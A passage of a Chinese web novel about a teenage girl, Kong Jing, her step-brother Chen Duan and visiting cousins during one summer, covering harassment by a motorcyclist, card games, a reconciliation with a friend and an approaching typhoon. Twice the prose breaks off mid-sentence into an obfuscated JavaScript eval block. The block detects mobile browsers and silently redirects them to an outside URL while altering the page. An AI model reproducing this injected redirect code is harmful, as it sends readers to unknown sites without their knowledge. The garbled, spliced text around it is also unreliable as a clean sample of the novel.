陈端将落到地上的老鼠尸体一脚踢开,抬眼,亮红色摩托车已经驶过土包,后座上那个穿黑色骷髅图案衬衫的痩弯身影一闪而过。 他眼神骤然锋利,长腿一伸就要去追,孔净两手抓住他脚踝,“不要,他们是故意的……” 陈端一愣,低头看她,“今天不是第一次?” “……不是。” 显然,那个黑色骷髅衫是谁,他们都心知肚明。 陈端没想到的是,对方竟然敢肆无忌惮地追到厂区。 那辆亮红色摩托车从什么时候开始在石厝附近出现,孔净记不清具体时间了。 但是第一次朝屋里扔老鼠、蛇之类的动物尸体,是在十天前。 今天是第三次。 前两次都挑孔净一个人在的时候,今天也许是因为没看见陈端也在,更有可能,就是因为知道陈端也在,所以他们刚才才笑得比前两次更大声。 孔净深吸两口气,站起来,去灶台下掏出两个买菜攒下的塑料袋套在手上,想把老鼠尸体清理走。 陈端看她一眼,伸手褪下她手上的塑料袋套在自己手上,蹲下身三下五除二就弄走了。 家里没有专门的清洁用品,他往拖把桶里抖了好些洗衣粉,把门口那块地方拖了几遍后,用清水冲刷。 洗衣粉的香气带走腐尸味道,水流顺着屋檐下的小沟流到阳光下,就算是污水里的泡沫也色彩斑斓。 孔净站在门边靠里的位置,看见陈端弯腰时衣服下摆又自动往上露出一截后腰,他的皮肤很白很有光泽,这显得那处淤青和伤痕更加突兀。 “你的伤……也是他弄的吗?” 孔净忽然想到。 陈端没吭声,他把剩的半桶水“哗啦”一下冲倒在地,水渍溅在他浅蓝裤管和洗得发黄的白色球鞋上。 他把桶和拖把拎回简棚,然后走到路边掐着腰左右看了看,低头掏出手机,修长指节操作按键。 过了会,他收回手机,进屋。 孔净以为他要走了,却看见他从上铺拿了条干净短裤,去简棚关上门换了后回来,长手长脚一下翻上铁架床。 孔净有些诧异,随后明白过来。 陈端今天不走了。 她垂着眼,长睫颤动,舌尖泛苦,下弯的嘴角却往上勾了勾。 16. 第 16 章 陈端很缺觉,本来是屈起一条腿靠坐在床头的姿势,后来不自觉闭上眼睛,身体逐渐歪斜,脑袋沾上枕头就睡着了。 孔净做饭都没有把他吵醒。 李贤梅中午回来,晃眼看见铁架床上铺拱起的人影愣了一下,定睛看了两眼后,一口气喝干茶缸里的水,然后“嘭”的一声把茶缸放回桌子。 孔净把碗筷递给李贤梅,余光朝铁架床那边轻扫去,床上的人影没动,睡得很沉。 李贤梅鼻子不是鼻子眼睛不是眼睛地吃完一餐饭,饭桌顶上的老式电风扇吱呀呀转动,她朝床上看了又看,散落的情绪快速聚集,又有喷薄的趋势。 孔净小心翼翼收拾桌面,听见外面有工人跑来喊磨料不够了要买几箱,李贤梅压了压快要冲上顶的火气,对着窗外应了声“来了”,然后就起身出去了。 孔净无声舒一口气。 陈端醒来已经是半下午,他从床上坐起来,慢动作转头看了眼四周,似乎是在确定所处的环境。 没有网吧里难闻的气味,没有昼夜不停狂雨似的键盘声,也没有满屋花香却夹杂着病气躺在床上叫他小端的女人,只有少女温和轻柔的嗓音掠过耳际,“醒了吗?给你留了饭菜。” 陈端视线透过白色蚊帐,看见孔净正对着坐在红色理石桌前,洗过澡换了身衣服,面前的书已经换了一本,散着半湿的长发仰头望着他。 “嗯。” 他喉咙发干,清了下嗓子,掀开蚊帐跳下床。 孔净走去灶台边从底下的置物架最里边掏出一个杯子,踌躇片刻,站起来用热水涮过后倒了杯事先泡好凉透的苦荞茶。 陈端视线落在孔净修剪平滑的细长指尖,然后才是她握在手里的杯子。 孔净双手顿在半空中,若无其事地说:“前天妈带我去镇上,我在市场看见就买了,感觉和你很配,但是杯沿有个小缺口,喝的时候要小心,不要划到嘴。” 八块钱的马克杯,她从成堆打折处理的瑕疵品里淘来的,黑白渐变,上白下黑,中间以浓度不一的蓝色笔调作为过渡。 孔净想到即将破晓的旷野,以及暮色西垂的蓝调时刻。 很特别,和陈端很搭。 陈端接过杯子,喝光水,转过身时指尖擦过杯沿上的三角形缺口,说了声谢谢。 孔净一顿,笑了笑,心里淡淡的难过,陈端其实很有礼貌,也……很好哄。 上午的对话似乎就此消弭,谁也没再提。 陈端晚上没出去,接下来的几天也都在。 李贤梅有种活见鬼的感觉,她想问问陈端怎么忽然转性了,但不知为什么一直憋着没说。 那辆亮红色摩托车幽灵一样在石厝周围不定时出现,没再扔奇怪的动物尸体,但是孔净发现她藏在上衣和下装之间晾晒的贴身衣物不见了。 她捏着空荡荡的衣架站在黄葛树下,嘴唇抿得发白。 “又发什么呆?”李贤梅刚洗了澡回来。 孔净从她手里接过桶,帮忙把衣服晾上,犹豫片刻,“妈,我内衣不在了。” “被风吹走了吧,到处找找啊。” “找过了,没有。我怀疑……是被人拿走了。” 就是怕被风吹走,所以孔净在晾的时候专门用夹子固定住。 “哪个拿你穿过的内衣?”李贤梅用毛巾擦着头发,眉头皱得很紧,“狗日的,不要脸的东西!” 她声音陡然变大,对着后面的瓷砖厂和前面的石材厂骂两句。 她指挥孔净,“以后把衣服晾棚子里。” 孔净说,“妈,有辆红色摩托车——” 别在腰侧的手机响,李贤梅烦躁地把擦头的毛巾往肩上一甩,一边接电话一边转身往厂里走。 孔净望着她忙碌的背影,慢慢闭上嘴巴。 内衣的事孔净没跟陈端说,太私密了,不好张口。 她把美工刀从书包夹层里拿出来,睡觉时搁在枕头底下,白天就揣在兜里。 红色摩托车有时会专门挑深夜过来,停在石厝旁边,车载音响放得很大声,男女嬉笑,啤酒瓶往石厝外墙上砸。 但每当陈端跳下铁架床,还没走出门,摩托车就载着人跑了。 而这终于引起了李贤梅的注意,在孔大勇再一次想起回家时,在饭桌上跟他提了。 “有这种事?”孔大勇眼睛鼓得很大,脸上的肥肉抖了又抖,“敢在我门前撒野,不要命了!” 然而第二天当李贤梅再问到时,他笑嘻嘻地摆手,“哎呀小孩不懂事,闹着玩儿的!” 他说骑摩托车的是石材厂老板的儿子,暑假在镇上的家呆腻了,就来这边找朋友玩。他已经跟老板打过招呼,他们不会再来这边捣乱了。先前是因为不知道石厝里住的是他孔大勇一家,所以才大水冲了龙王庙。 然后他又说起那辆摩托车,“雅马哈的牌子,哦哟,好气派……” 于是事情在孔大勇和李贤梅这里就这么画上了终结号。 亮红摩托车也确实消失了一阵。 离暑假结束还有不到半个月,所有风波似乎都烟消云散。 陈端在家待不住,李贤梅不明着找茬,可她阴沉着脸把所有不满都对着孔净宣泄,倒不是骂,而是说些诸如“你弟弟在家,你高兴不”、“这么好的瓜先给你弟弟吃啊”之类的话。 孔净不能顺着答,不能反着答,更不能不答,但无论怎么答,李贤梅最后都会生气,气到躺床上抹眼泪,气到提不起力气去管厂里的事。 于是陈端只好像之前那样在家里消失,每周抽李贤梅不在的时候回来看看。 八月下旬,姑姑和姑父带表弟表妹来家里做客。陈端不在,赵长蹬掉鞋子爬上铁架床上铺,“我的地盘,我睡这!” 理所当然鸠占鹊巢的样子让人忍不住想给他一拳。 两家人聚在一起,孔大勇好充面子,专门去小卖店让老板娘烧了几道硬菜,啤酒可乐管够。 气氛热闹,像过年。 姑姑孔小琼问了嘴陈端去哪儿了,李贤梅锅铲不停,“我又不是他亲妈,管得了这些。谁知道他去哪儿了。你问你哥吧,他才是陈端亲爸。” 孔小琼笑笑,跟孔净一块在简棚的水槽边洗菜时才又开口,“你妈哎,养那个孩子都几年了还想不通。” 她看一眼孔净,“平时没少因为那孩子受你妈的气吧?” “没有。”孔净用牙签把葱段两头扎成流苏状,待会蘸酱吃。 发生宁桂华那事时,孔小琼虽然没来这边,但是事情经过都听说了。她叹一口气,“你爸爸也真是……在外面就算了,非跟厂里的人……搞得乌烟瘴气。” 她并不因为是孔大勇的妹妹就站在他那边,而是同情同为女人的李贤梅。她说:“你妈妈不容易,厂子虽然是你爸爸出面承包的,但实际都是你妈妈在管,这些年她累死累活大家都看在眼里。她想不通是很自然的事。偶尔脾气大点你也要理解她。” 孔净理解的。 她理解李贤梅的辛苦,可她不理解李贤梅对陈端的怨恨。 “这有什么不理解的。”孔小琼朝石厝那边看一眼,压低声音说,“你妈妈一直想生一个男孩,你出生之前她还专门找人看过B超,人家说就是男孩,哪里想到生下来居然是个女孩。后面她又怀过两回,但是因为身体原因都自己流了。本来呢,生不出来就生不出来吧,现在谁还信养儿防老那套。但是自从你爸爸把陈端领回来,事情就不同了。外面不是还传过一阵陈端是你爸在外面跟别人生的吗?这就相当于打你妈妈的脸。 “不过打就打了吧,你妈妈一直都很能忍。你爸爸在外面怎么样她睁一只眼闭一只眼就算了,哪里想到又跑出来一个宁桂华……” 李贤梅遵循的是传统的那一套,丈夫和别的女人有染肯定是丈夫的不对,可她觉得自己也有错,比如没有完成孔大勇儿女双全的心愿。 生不出儿子,管不住丈夫,替别人养孩子,陈端的存在就是李贤梅耻辱的象征。 “你多向着你妈,她太苦了。”孔小琼嘱咐孔净。 孔净“嗯”一声,小葱扎得细,熏眼睛。 姑姑姑父还要回去干活,晚上吃了饭就要走。姑父赵健喝得颧骨以上又红又肿,走起路来像是醉汉打拳。李贤梅劝他们留下住一晚明天再走,孔小琼摆摆手,“没事,我喊他骑慢点。” 摩托车油门一轰,歪七扭八地驶走。 赵长和赵兰兰没跟着走,他们要玩到开学前再回去。 孔净帮李贤梅把一片狼藉的屋里打扫干净,赵兰兰从下铺翻坐起来,两只圆胖胖的小手帮孔净掀开蚊帐,“姐姐。” 孔净钻进去,接过赵兰兰递来的翻版芭比娃娃和她一起玩。 赵长在上铺不老实,一会儿翻身,一会儿探个头往下瞅,“姐,姐!陈端去哪儿了?喊他回来我们四个打牌!” 孔净没理,赵长手贱,拽着下铺的蚊帐左晃右晃,蚊子从豁口飞进来,在孔净和赵兰兰身上叮了好几个包。 孔净忍无可忍,坐起来哐哐捶几下上铺床板,“睡不睡?不睡自行车借你,自己骑回家!” 赵长瞅她,“你就是这么对你亲表弟的?” “请你注意用词,亲和表不要一起用。” 孔净觉得他真是越大越聒噪。 “什么意思?”赵长两手抓着围挡,整个上身都探出来,“你就说我是表的,陈端才是亲的呗?” “嗯呐。” 孔净闭上眼睛,好困。 赵长突然发疯,梗起脖子就对着另一张床上的人喊:“舅舅舅妈!孔净不认我,她只认陈——哇靠!” 孔净从来没有这么灵活过,翻身抓起放在床前的拖鞋,直起身就给了赵长一下。 没刻意选部位,看见赵长一脸懵逼地捂着下半张脸,才发觉中招的是他的嘴。 旁边床上睡熟的人呼噜声断了一下,赵长反应过来,又要告状,孔净仰头又挥了下手里的拖鞋。 “……好男不跟女斗!” 赵长像条滑溜的鱼,一下缩进上铺蚊帐里。 “你也是这么打陈端的?”他非常不满。 孔净放下拖鞋,拍拍手,“没有。” “哈!我就知道!人家是亲的嘛!” “你再说一遍。”孔净好脾气地威胁。 赵长不说了,但是把床扭得快要散架。 小时候陈端搬石头砸蛇的记忆一直鲜活地留存在他脑海里,他又钻出个脑袋里,“其实你是不敢吧?他是不是没少欺负你?” “是是……” 孔净上下眼皮打架,赵长说什么根本没听清。 赵长可能是属狗的,没人跟他说陈端在哪儿,他不知怎么骑着孔净的自行车闻着味儿就找去了网吧。 回到石厝,他两眼放光,活像吃了兴奋剂。 “哇靠!陈端打游戏那么厉害!牛逼!” “《诛仙》你知道吧?《跑跑卡丁车》你知道吧?陈端居然——” “不好意思,我不知道。” 孔净无情打断。 赵长看孔净像看山顶洞人,“女生就是没劲!” 他觉得自己逼格太高,像陈端这样的才差不多够水准跟他对话。 “你有劲,考试别带小抄。”孔净回敬一个看傻狗的眼神。 赵长找到了归属,每天起床吃完早饭嘴巴一抹就往网吧跑,一整个白天不在,到晚上七八点才眼冒精光地哼哧吭哧骑着自行车回来。 李贤梅问他,“这么快就交到新朋友了?” “啊对啊!老有意思了!”赵长虽然心大,但是也约莫知道舅妈不待见陈端,于是挠挠头蒙混过去了。 孔净觉得男孩子的友谊真是说来就来,因为游戏赵长俨然已经把陈端纳入兄弟行列,今早他还叫嚣,如有敌军来战,他愿为兄弟抛头颅洒热血! 真的……很中二。 赵长一连跑了三天网吧,第四天晚上快九点还没回来。 有个工人装货时摔了一跤,李贤梅和孔大勇一起把他送去镇上医院。家里只有孔净和赵兰兰。 电视机里在播放《放羊的星星》,赵兰兰抱着芭比娃娃仰起脑袋瓜看得十分入迷。孔净坐在旁边,一手托腮,另一手从发根到发尾一下一下地捋着湿发,偶尔转头看一眼红色理石桌上的石英钟,心想待会等赵长回来有他好受。 下一秒,后背就被什么东西砸了。 小石子落在脚边,孔净转过头,一个细长黢黑的影子映在半开的窗棱上,夹烟的手抬起来,同时慢慢转头面朝屋内。 孔净呼吸一顿,动作很急,指尖扯掉几根头发,右手滑进口袋,却摸了个空。 这段时间太平和,以为危机解除,美工刀不知道被她放去了哪里。 孔净脸色煞白,站起身飞快跑去关门。 “鬼王宗血公子来也,尔等还不束手就擒!” 黑影一晃,跳到铁门前,赵长嘴里叼根棒棒糖,拿着捡来的芦苇杆摆出邪门姿势。 视线一转,他看见屋内孔净的脸色,愣了愣,“真中招了?靠啊姐,你好会演!哈哈哈……” “……演你个头。” 孔净有时候真的很想把赵长整个人团一团,然后一脚踢走。 赵长两根手指夹着棒棒糖,无实物表演吐出一口“烟雾”,被孔净抽走,扔进垃圾桶。 “你干嘛?老子生气了——哇靠!” “谁老子,我还孔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317120|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 赵长抱着被打的后脑壳,看孔净的眼神不满,很不满。 夜色里忽然传来自行车铃声,赵长说,“你完了,我兄弟来了。” 陈端骑车绕过土包,后头瓷砖厂橘调路灯间或照在他身上,临近石厝,他单脚支地,反身下来,推着车走到屋檐下,灰淡身影被檐下的老式灯泡拢住,影子轻缓落在门口的水泥地上,左边是赵长,右边更近一点的是孔净。 孔净有些吃惊,没想到陈端会在这个时候回来。 但她扫去一眼,什么也没说,转身去拿锅烧水。 赵长“切”一声,“亲的也就这样嘛。” 连个招呼都不打。 还比不上他和赵兰兰的塑料兄妹情。 陈端把放在车前兜的东西提进屋,孔净瞥见,“怎么这么多吃的?” 饼干、薯片、巧克力之类好大一包,都不是小卖店里能买到的。 陈端拿了换洗衣服,转过身见孔净视线还朝着这个方向,他淡淡解释说,“打游戏赢了。” 孔净不懂,“打游戏……赢了会发吃的?” “哈!我就说她是个土鳖吧!”赵长从袋子里又翻出来两根棒棒糖,一根给赵兰兰,一根撕开了用两指夹着递到自己嘴边,“当然是发奖金啦!” 孔净说:“你再用这个姿势试试。” “干嘛,我兄弟在,你还敢撒——” 话没说完,被孔净走来一掌击中后脑壳。 “靠!孔净我警告你……” “啪!” “啪!” 孔净又是两下,赵长抱头鼠窜。 陈端安静站在中间,看他们闹。 孔净可能是打弟弟打上头了,反手也给了陈端一下,“你别站着了,快去洗澡。” 没用劲,手掌在他左边小臂上拂过,更像是轻挠。 赵长终于抓到把柄,“没吃饭啊,打他是林黛玉,打我就是鲁智深。” “对啊,因为你说你可以为兄弟两肋插刀。现在没让你挡刀,只是挨揍而已。”孔净说。 “……最毒妇人心!”赵长扬言,“你等着,待会看我和我兄弟怎么收拾你——们!” 他无差别攻击,下巴隔空点了点孔净和亲妹妹赵兰兰。 赵长从家里带来的两副牌终于有了用武之地。趁着家里大人不在,并且大有可能整晚都不会回来,孔净在弟弟妹妹的撺掇下把铁架床前的一块地拖了又拖,铺一张旧凉席,把陈端带回来的零食往上面一丢,四个人各据一方盘腿坐下,两两组队,决战紫禁之巅。 他们打的是“双扣”,孔净和赵兰兰一队,陈端和赵长一队,积分升级制,最先从3打到A的队赢。 别看赵兰兰年纪最小,自小耳濡目染,牌技在他们几人之中可以说不是第一就是第二。 孔净绝对实力一般,但胜在心态稳,会记牌,有时候虚晃一招把赵长唬得一愣一愣的,出错了才后悔莫及,诬陷孔净和赵兰兰耍花招。 赵兰兰抿嘴笑,“哥,你好菜。” 说完,怕挨揍,赶忙冲孔净喊,“姐姐救我。” 孔净一手握牌,另一手伸直了在半空中比划护着赵兰兰,然后冲赵长做了个扇巴掌打脑壳的手势。 表情文静,气场嚣张。 “兄弟啊,我怎么会想到要靠你……” 赵长苦不堪言,万万没想到在游戏里所向披靡的陈端居然是个牌桌小白。 这也出乎孔净意料。 她表情有些不自然,视线越过手里的牌,轻轻瞥向右侧。 所以之前为什么要承认自己赌了? 还说什么手机也是赌来的战利品。 陈端知道孔净在看自己,但他没抬眼,由着孔净被惊讶和懊恼的情绪缠绕。 孔净:“……” 眼看着孔净和赵兰兰已经打到了Q,而他们还在打5,赵长根本坐不住,反观陈端,他很稳,稳稳地摸牌,并且出牌前顺带问一下规则。 可以说菜得很认真了。 “……” 赵长耐心全无,以暴躁兼摆烂的态度甩出四个A,被赵兰兰四个2清爽歼灭。 “靠靠靠——!不玩了!” 胜负已定,再打下去只是当陪练被虐,赵长上半身后仰“Duang”的一下躺在了凉席上,底下就是水泥地,撞得他龇牙咧嘴。 赵兰兰露出一排白牙齿,从对面绕到孔净身边耳语一句。 孔净点点头,对着赵长和陈端两个手下败将十分宽容道:“今天暂时放过你们,但是输了的队要接受惩罚。” 惩罚是什么呢? 孔净右手比着OK的手势,轻吹一口气,让两个弟弟排队过来领爆栗子吃。 “哇——”靠!!! 赵长心不甘情不愿,脑壳还没凑近就叫起来,然而下一瞬前额传来的刺激性痛感让他整个人真的弹了起来。 “孔净!你好毒!!” 好痛好痛好痛! 轮到陈端,孔净身体微微转向右侧,陈端也转向她,少年面部轮廓在深夜的灯照下比平时更静谧,也更温和。 为了配合孔净的身高,他微微弓着背,赵兰兰在旁边小声提醒,“哥哥,你的头发。” 她的意思是陈端的额发限制了孔净的发挥,赵长深表欣慰,为兄弟两肋插刀和监督兄弟领罚一点不冲突。 孔净想说你们两兄妹不必这么较真吧,斜对面陈端还真的伸手把额前的一点碎发撩了起来。 他的皮肤很白,前额饱满,鼻梁挺拔,很窄的两条双眼皮嵌着微卷的黑睫,平静目光带着一点少年人在游戏中找到乐趣的惬意与愉悦。 他很放松。 孔净与他对视,轻缓眨一下眼。 指尖靠近,在他额头上一弹。 陈端愣了一下,被弹过的地方迅速变红。 真……痛。 赵长拍手,“不愧是我姐!下手真狠!” 他因为孔净的一视同仁而神清气爽。 转而又很鸡贼地攀上陈端的肩膀,挑拨离间道:“看吧,就算你是亲的又怎样,下场还不是和我这个表的一样。” 孔净抿了下唇,看着陈端。 陈端被赵长弄得身体微晃,抬手摸了下前额,有些不可置信地掀起眼皮。 孔净在和他目光对上之前转过脸,假装去数赵兰兰怀里的芭比娃娃有几根头发。 陈端领会孔净是在为前端时间两人之间的不愉快“公报私仇”,但不知道为什么他不但不生气,反而觉得心情很好,也许是因为她一视同仁,也许是因为赵长口中的那句关于亲和表的离间语录。 总之,他好像被这个短暂的夜晚接纳,融入了。 17. 第 17 章 玩到差不到零点过,他们才打着呵欠各自上床睡觉。 孔净和赵兰兰仍旧睡下铺,赵长很反人类地要体验一把幕天席地的露营感,四仰八叉躺在地铺上就睡了,所以陈端还是睡上铺。 因为没有赵长在上铺犯上作乱,孔净睡得很安稳。 她迷迷糊糊地想,果然还是原配……原本的配置让人心安。 孔大勇一直守在医院,李贤梅到第二天下午才回来,但也只是取点东西,就又匆忙走了。因此看见陈端在,她并没有多余的功夫发表不满。 家长不在,孔净最大,她负责照顾弟弟妹妹们的一日三餐,调和矛盾,监督作业…… 总之,厨子、裁判、家教,身兼数职。 天气预报说今年的台风又要来了,提醒市民朋友们合理安排出行,尽量不要在外逗留。 上午还是阳光普照,吃过午饭之后天光一下就暗了,天境线压得很低,从浅灰转成铅灰,好像装了几千斤巨石,重得随时要掉下来。 孔净看见赵兰兰抱着芭比娃娃站在窗外的黄葛树下发呆,连忙喊她进来。 赵兰兰仰头望向石厝背后,“姐姐,台风会不会把烟囱吹倒?” “应该不会吧。” 孔净也抬头去看,瓷砖厂绵延的黑色厂房中间耸立着一根巨大的锈红色烟囱,烟囱用不锈钢绳固定,但风力强劲,它摇摇晃晃给人一种大厦将倾的逼迫感。 赵兰兰拽紧孔净的衣摆,“要是被吹倒砸到我们的房顶上,我们就都要死了。” “额,真的应该不会,台风每年都来,它一次也没倒过。”孔净安慰赵兰兰。 “可是,”赵兰兰说,“如果已经倒过,我们就不会站在这里讨论这个啦……死人是不会说话的。” “……” 好有道理呢。 赵兰兰很害怕,踮起脚尖从窗户朝屋内看去,糟糕,哥哥不在,如果灾难真的来临,她只能独自英勇就义,放哥哥一个人苟活了。 想到这里,赵兰兰眼角耷拉,好孤独。 孔净其实也有些焦灼,不是因为台风,而是有人趁台风来临之际偷走了厂里的拖拉机。 拖拉机不是孔大勇和李贤梅的所有物,是厂里的财产,李贤梅在的时候每天都会盯着厂里的工人用完就把车停进厂房里,钥匙也是由她保管。 但因为李贤梅这两天不在,厂子疏于管理,昨天晚上暂管车械的王叔喝多了,偷懒没去把停在石料场的拖拉机开回厂房,他心想就几个小时不至于这么寸。 然而天没亮爬起来,石料场黑黢黢空荡荡,不见拖拉机的影子,却用手电筒在地上照见被拖拉机轮胎轧过但明显又用树枝之类的东西清理过的痕迹。 一台拖拉机好几万,相当于一个磨工累死累活一年的收入。王叔急得六神无主,发动厂里所有人都去找,陈端和赵长听说后也自动加入。 孔大勇得到消息,日天日地也在往回赶。 孔净揽着赵兰兰的肩膀带她回到屋里,开了电视机,音量要调到很大才能盖过外面愈演愈烈的风声。 赵兰兰窝在矮板凳上逐渐被剧情吸引,孔净时而转头看一眼窗外,总有些心神不宁。 听见风声里夹杂的轰隆隆燃机运转声音,孔净一下起身,以为是孔大勇回来了,跑到门口,一个略显圆润的少女从一辆摩托车后座跳下来,肩上的背包也跟着抖了两下。 “阿……禾?” 阿禾风尘仆仆的样子,掏了一张二十元钞票付车钱,从摩的师傅手上接过绑在后车架上的小号行李袋,然后才转过身不太自然地对孔净笑了下,“嗨。” “你怎么会来……?今天刚回来吗?”一个暑假没见面,孔净也觉得有些生疏。 “嗯,”阿禾垂下眼,两手紧紧攥着行李袋。 “你、要不要进来喝杯茶?”孔净走过去,伸手去接阿禾手上的行李袋。 阿禾咬着嘴唇瞥孔净,“是你请我进去的哦。” 孔净点头又点头,“没错,是我强行请你。” “吼!”阿禾小声恢复了口头禅,忽然觉得眼眶有点涩。 孔净烧水泡苦荞茶,阿禾蹲在地上把行李袋拉链拉开,半条胳膊伸进去,掏啊掏,掏出一个印着鞋厂LOGO的袋子。 等孔净转过身,她微微撅起嘴,有点傲娇地说:“阿嬷说你去家里找我,她说你不好意思开口,但是叫我一定一定记得帮你带一双时髦又好穿的鞋。呐,这双给你。” 孔净一怔,两手接过袋子,从里面拿出一双黑色真皮凉鞋,鞋子带一点跟,绑带设计,一点看不出瑕疵,又新又漂亮。 “所以,你还没回家就过来给我送鞋吗?”孔净把鞋子抱在怀里,笑看着阿禾。 阿禾眼神飘移,“没有啦,只是路过。” “这样哦。但我还是要谢谢你。” “干嘛这么煽情,我真的只是路过和顺手。” “我知道啦,不要一直强调,这样反而显得你是‘专门’。” “吼,孔净你有点烦诶。” “好啦,我不说了。” 水还在烧,窗外的风声越来越大,阿禾静静站着,几秒后她和孔净同时出声。 “对不起。” 阿禾很诧异,“你干嘛道歉啊?” 孔净抿了下唇,“因为一条……我没有跟你说实话,还有,虾皮一直在私下找你麻烦,我作为你最好的朋友居然什么都不知道,最重要的……你说的很对,我只是装不怕,其实是个胆小鬼。” “胡说什么!明明都是我的错……我也不知道当时为什么会那样……” 阿禾再次撅起嘴,这回表情和傲娇没有半点关系,她有一点点委屈,又因为这份委屈被最好的朋友看到,最后只剩羞赧和抱歉。 她用力吸了下鼻子,垂下眼,“那天我不该说那样没有良心的话,明明是你和陈端帮了我……我太害怕了,对不起……” “那如果,我是说如果,”孔净看着阿禾,“时间再回到那天放学,你还会答应虾皮引我去文具店吗?” 事情总要说清楚,好朋友之间不能在心里留疙瘩。 阿禾用力咬住嘴唇,她抖着嗓音低声说:“不会……真的对不起……是他骗我说只是想找机会和你聊一聊,他说聊完就再也不会出现……我从来没有想过要害你,真的!……文具店人很多,他不敢真的对你怎么样……后来、后来我躲着你是因为太羞愧了……” 阿禾抬起眼睛,眼泪快要决堤,“孔净,你相信我吗?” “我信。这样好不好,”孔净说,“我们互相对对方说一句没关系,就当没发生过。” “噫,好肉麻。”阿禾不要。 “还好吧。”孔净把怀里的鞋子抱紧一分,笑看着阿禾郑重道,“对不起,没关系。” “话都被你说完了!”阿禾有点难为情地转过脸,眼泪在眼眶里亮闪闪,嘴边纹路却慢慢变成两个大大的括弧。 还好,她没有因为一次错误就失去最好的朋友。 也庆幸,她用一个暑假积攒起所有的勇气来为自己犯过的错道歉。 刚泡好的苦荞茶是澄明的淡黄色,尽管很烫,阿禾却很给面地捧着瓷碗呼呼吹凉,喝光。 她看见红色理石桌上的马克杯,“小气哦,杯子都不舍得借我用。” 孔净说:“是陈端的。” 这两天李贤梅和孔大勇不在,所以杯子用了洗干净之后就放在她桌上了,之前一直都是搁在碗架最里边。 “你们和好啦?”阿禾左看右看,石厝里除了她和孔净,只有赵兰兰沉迷台偶的背影。 “还好吧……其实也没有吵架啦。”孔净把阿禾送的鞋子妥善放在床底下的收纳箱里。 “那就是和好啰。”阿禾低头想着什么。 孔净又看了眼窗外,黄葛树的枝丫舞动着,风更大,天边的浓云也更黑,快要下雨了。 她提议说:“你要不要给阿嬷打个电话说今天不回去了?天气不好,你一个人好危险。” “在镇上就打过电话啦,阿伯会来接我。”说到这个,阿禾提起行李袋和背包,“我先去小卖店那边等阿伯。” “我送你过去。” 孔净担心赵兰兰一个人在家会怕,问要不要一起,或者去厂里嬢嬢家待一会。 电视机里的女主正被男主搂在怀里说着甜蜜情话,赵兰兰脸上泛着迷之微笑,眼睛黏在屏幕上,头也不回地让孔净快去快回,不要担心,她很勇敢。 孔净:“……” 孔净把铁门插上插销,不放心,干脆锁上,把钥匙从缝隙扔进去,叫赵兰兰收好,如果有陌生人来,千万不要开门。 仰头,瓷砖厂的烟囱在风力中巍巍晃动,像被几只无形的手从不同方向来回推拉。 孔净走得很快,阿禾拉住她,“从这边走。” 阿禾了解石材厂地形,从厂子中间穿过的确路途更短。 孔净点点头,提着阿禾的行李袋走在前面。 这年头没有监控,拖拉机轮胎印从石料场出口延伸出去,经过背身靠近森林的土路,滑下斜坡后,印迹就在和水泥路的衔接处中断。 水泥路车流汹涌,拖拉机汇入其中犹如小鱼入海,谁也不知道最后去了哪里。 很大可能是找不回来了,但王叔不死心,让四个工人分成两拨骑上摩托车分别往水泥路两个方向去找,剩下的则去村子、附近厂房、林子…… 陈端和赵长年纪小,又遇上这种鬼天气,没敢让他们走远,就只在瓷砖厂和石材厂就地寻找蛛丝马迹。 两个厂看起来面积不小,真要搞地毯式搜索那一套必定要花上不少时间,可丢失的是拖拉机,那种庞然大物扫一眼就知道在不在。 赵长觉得自己和陈端根本是被溜来打酱油的,一点实际作用都起不到。 “靠,下雨了。”他刚搜寻完大切机房,刺耳尖锐的切割声像带刺的藤蔓直往耳朵里钻,走出厂房,刚觉得舒爽点了,脸上和领口处裸露在外的皮肤就传来痛感,被雨砸的。 “回去算了,你觉得呢陈——”赵长晃眼看见不远处的石料场上跑过一个黑影,雨幕太大,眼睛里进了水,一眨眼就那人影就闪进了石料缝隙。 “你跑那边干什么?拖拉机根本开不进去……”赵长嘟囔着,犹豫一下,为了显示兄弟情,还是抱头冒雨也跟着跑向了人影消失处。 石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨声风声,掩盖身后放肆的大笑声。 赵长从石料甬道钻出来就看见面前停着一辆红色摩托车,是新来的那个骑来的。 他想也没想,飞起一脚,踹完就跑。 没回头看摩托车是否倒地,一口气跑回了石厝。 另一个被雨淋湿的少年身影恰好从土包那边跑来,停在檐下,赵长差点和他迎面撞上,“你去哪儿了?!” “那边转转。” 陈端本来也在石材厂房里,后来下雨了,他等了一会儿,见雨没有减弱的趋势,就抄近道从厂房后的小路回来了。 赵兰兰看电视看得神魂痴迷,外面刮风下雨都没知觉。赵长把铁门拽得哐当响,她才猛然惊醒,跑来开门。 “孔净呢?”陈端一进屋就问。 赵兰兰又坐到电视机前去了,赵长正在找毛巾擦头发,扫视一眼屋内,走过去踢了下赵兰兰屁股下的板凳,“问你,姐呢?” “啊?” 赵兰兰停了几秒才找回半个多小时前的记忆,“出去了。” 陈端蹙眉,“去哪了?” “姐姐的同学来找她,同学要回去,姐姐去送她。”赵兰兰说。 “男同学女同学?”赵长往歪处想。 赵兰兰说:“女同学。” 赵长觉得怪没意思,一道闪电照亮半边天,昏暗的室内也在一瞬间变得煞白,然后再次沉进黑暗。 赵兰兰被回来的两位哥打断,身心从偶像剧出走,回归现实,她被闪电吓到,缩着肩膀问赵长:“打雷会不会把人劈死啊?” 大部分城市已经普及了避雷网,但村镇还没有,每当雷雨天,厂里大人就会兴味盎然地讲起谁谁谁因为下雨打伞被雷劈中烧糊。 